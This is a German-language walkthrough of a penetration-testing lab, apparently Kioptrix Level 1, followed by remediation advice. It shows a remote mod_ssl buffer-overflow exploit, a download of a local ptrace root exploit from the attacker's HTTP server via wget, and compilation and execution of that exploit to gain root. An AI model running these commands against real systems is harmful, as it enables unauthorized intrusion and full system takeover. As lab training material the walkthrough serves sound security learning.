
Sicherung von Root-Zugriff durch Identifizierung und Ausnutzung von Fehlkonfigurationen und veralteter Software. Pufferüberlauf-Schwachstelle in einer veralteten Version von mod_ssl (CVE-2002-0082). Privilegieneskalation wurde anschließend durch Ausnutzung einer Race-Condition im "ptrace"-Dienstprogramm des Linux-Kernels erreicht (CVE-2003-0127),
Sicherung des Root-Zugriffs durch Identifizieren und Ausnutzen von Fehlkonfigurationen und veralteter Software. Pufferüberlauf-Schwachstelle in einer veralteten Version von mod_ssl (CVE-2002-0082). Privilegieneskalation wurde anschließend durch Ausnutzung einer Race-Condition im "ptrace"-Dienstprogramm des Linux-Kernels erreicht (CVE-2003-0127).
Phase 1: Aufklärung & Enumeration Der erste Schritt bestand darin, die IP-Adresse des Ziels im Subnetz 192.168.56.0/24 zu identifizieren.
Host-Erkennung:
sudo nmap -sn 192.168.56.0/24
Ergebnis: Das Ziel wurde unter 192.168.56.105 identifiziert.
Port-Scanning und Service-Enumeration: Ein umfassender Nmap-Scan wurde durchgeführt, um offene Ports, laufende Dienste und Betriebssystemdetails zu identifizieren.
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
Wichtige Erkenntnisse:
Port 80/tcp und 443/tcp: Läuft Apache httpd 1.3.20 mit mod_ssl/2.8.4 und OpenSSL/0.9.6b.
Port 22/tcp: Läuft OpenSSH 2.9p2.
Port 139/tcp: Läuft Samba smbd.
Betriebssystem-Erkennung: Linux-Kernel 2.4.X (wahrscheinlich 2.4.9 - 2.4.18).
Die veraltete Version von Apache und mod_ssl stellte sofort einen Vektor mit hoher Wahrscheinlichkeit für den Erstzugriff dar.
Phase 2: Erster Zugriff (Exploitation)
Die Exploit-Datenbank via searchsploit bestätigte, dass mod_ssl 2.8.4 anfällig für einen bekannten Remote-Pufferüberlauf ist.
searchsploit mod_ssl 2.8
Ich identifizierte den OpenFuckV2.c-Exploit (EDB-ID: 47080) als den zuverlässigsten Payload für diese Schwachstelle. Ich spiegelte den Exploit auf den lokalen Host und kompilierte ihn mit den notwendigen kryptografischen Bibliotheken.
Exploit-Kompilierung:
searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto
Die Ausführung des kompilierten Binärs ohne Argumente lieferte eine Liste der unterstützten Offsets. Durch Abgleich des Offsets mit dem spezifischen Betriebssystem und der Apache-Version des Ziels (Red-Hat Linux, Apache 1.3.20) bestimmte ich den korrekten Offset als 0x6b.
Ausführung:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
Der Exploit erzwang erfolgreich einen Pufferüberlauf und gewährte eine Shell mit niedrigen Privilegien als apache-Benutzer.
bash-2.05$ whoami apache
Phase 3: Privilegieneskalation
Hinweis zur Methodik: Der OpenFuck-Exploit versucht, automatisch einen sekundären Payload zur Privilegieneskalation (ptrace-kmod.c) von einem entfernten Server mittels wget herunterzuladen. Da die Zielumgebung jedoch keinen ausgehenden Internetzugang hatte, schlug dieser automatisierte Schritt fehl (Auflösung zu Host nicht gefunden). Ich wechselte zur manuellen Aufklärung und Ausnutzung.
System-Enumeration:
bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
Das System lief mit einer hochgradig anfälligen Kernel-Version: 2.4.7-10. Die Suche nach Exploits, die auf diesen spezifischen Linux-Kernel abzielen, ergab eine lokale Schwachstelle zur Privilegieneskalation, die ptrace/kmod nutzt.
Payload-Staging: Ich lokalisierte den Exploit lokal (EDB-ID: 3) und hostete ihn über einen Python-HTTP-Server auf dem Angreifer-Rechner, um die Übertragung zu erleichtern.
Angreifer-Host:
searchsploit -m 3 python3 -m http.server 8000
Zielmaschine:
cd /tmp wget http://192.168.56.1:8000/3.c
Der Quellcode 3.c wurde erfolgreich in das /tmp-Verzeichnis des Ziels übertragen. Ich kompilierte und führte ihn nativ auf dem Zielsystem aus.
Ausführung und Root-Kompromittierung:
gcc 3.c -o exploit
./exploit
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Die ptrace-Race-Condition wurde erfolgreich ausgenutzt, wodurch die Privilegien vom apache-Daemon auf root eskaliert wurden. Eine vollständige Systemkompromittierung wurde erreicht.
Phase 4: Behebung Um dieses System gegen die ausgenutzten Schwachstellen abzusichern:
Aktualisierung der Webdienste: Der Apache-Server muss auf die neuesten stabilen Versionen aktualisiert werden, um die Pufferüberlauf-Schwachstelle CVE-2002-0082 zu beheben, die eine nicht authentifizierte Remote-Codeausführung ermöglicht.
Kernel-Patching: Der Linux-Kernel (2.4.7-10) ist anfällig für mehrere lokale Privilegieneskalations-Exploits, einschließlich der ptrace (kmod)-Race-Condition. Der Betriebssystem-Kernel muss auf eine moderne, unterstützte Version aktualisiert werden.
Netzwerksegmentierung & Egress-Filterung: Der Server sollte hinter einer Firewall platziert werden, die unnötigen ausgehenden Verkehr einschränkt. Während das automatisierte wget in dieser Offline-Umgebung fehlschlug, würde die Egress-Filterung verhindern, dass kompromittierte Webanwendungen sekundäre schädliche Payloads aus dem Internet in einer Live-Umgebung abrufen.